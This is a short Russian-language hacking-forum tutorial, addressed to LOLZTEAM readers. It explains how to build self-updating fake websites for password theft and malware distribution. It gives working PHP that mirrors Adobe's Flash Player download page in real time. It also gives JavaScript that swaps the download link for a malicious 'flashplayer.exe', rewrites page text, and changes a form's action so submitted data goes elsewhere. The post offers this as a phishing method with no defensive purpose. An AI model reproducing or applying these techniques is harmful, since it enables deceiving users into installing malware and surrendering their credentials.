Доброго времени суток, дорогие читатели LOLZTEAM!
В данной статье я расскажу вам про технологию создания фейковых сайтов для кражи паролей или распространения своей малвари. Главная особенность в том, что если настоящий сайт изменился, то и наш фейк изменится тоже.
Если мы хотим сделать фейк обновления Flash Player, пишем следующий код:
<?php
$flash = file_get_contents ('https://get.adobe.com/flashplayer/'); //получаем страницу офф.сайта
echo $flash;
?>
<script type="text/javascript">
document.getElementById("buttonDownload").href="flashplayer.exe";
</script>
До того как мы использовали js, наша кнопка для скачивания плеера имела совсем другую ссылку, после того как мы использовали код который выше, ссылка на кнопке сменилась на "flashplayer.exe".
Прошу заметить, что наш фейк работает в режиме онлайн, функция file_get_contents парсит всю информацию с настоящего сайта, и только потом мы с помощью js меняем что нам нужно.
Скриншот: https://image.prntscr.com/image/f84VyeZfQt6_FdWUQebMUw.png
Текст нашей страницы можно менять следующим методом:
document.body.innerHTML = document.body.innerHTML.replace('Что нужно заменить', 'На что заменить');
Скриншот: https://image.prntscr.com/image/NS9oLkP5SDWtZxye7AV38Q.png
Для изменения Action формы используем:
document.getElementById('form-id').attributes.action.value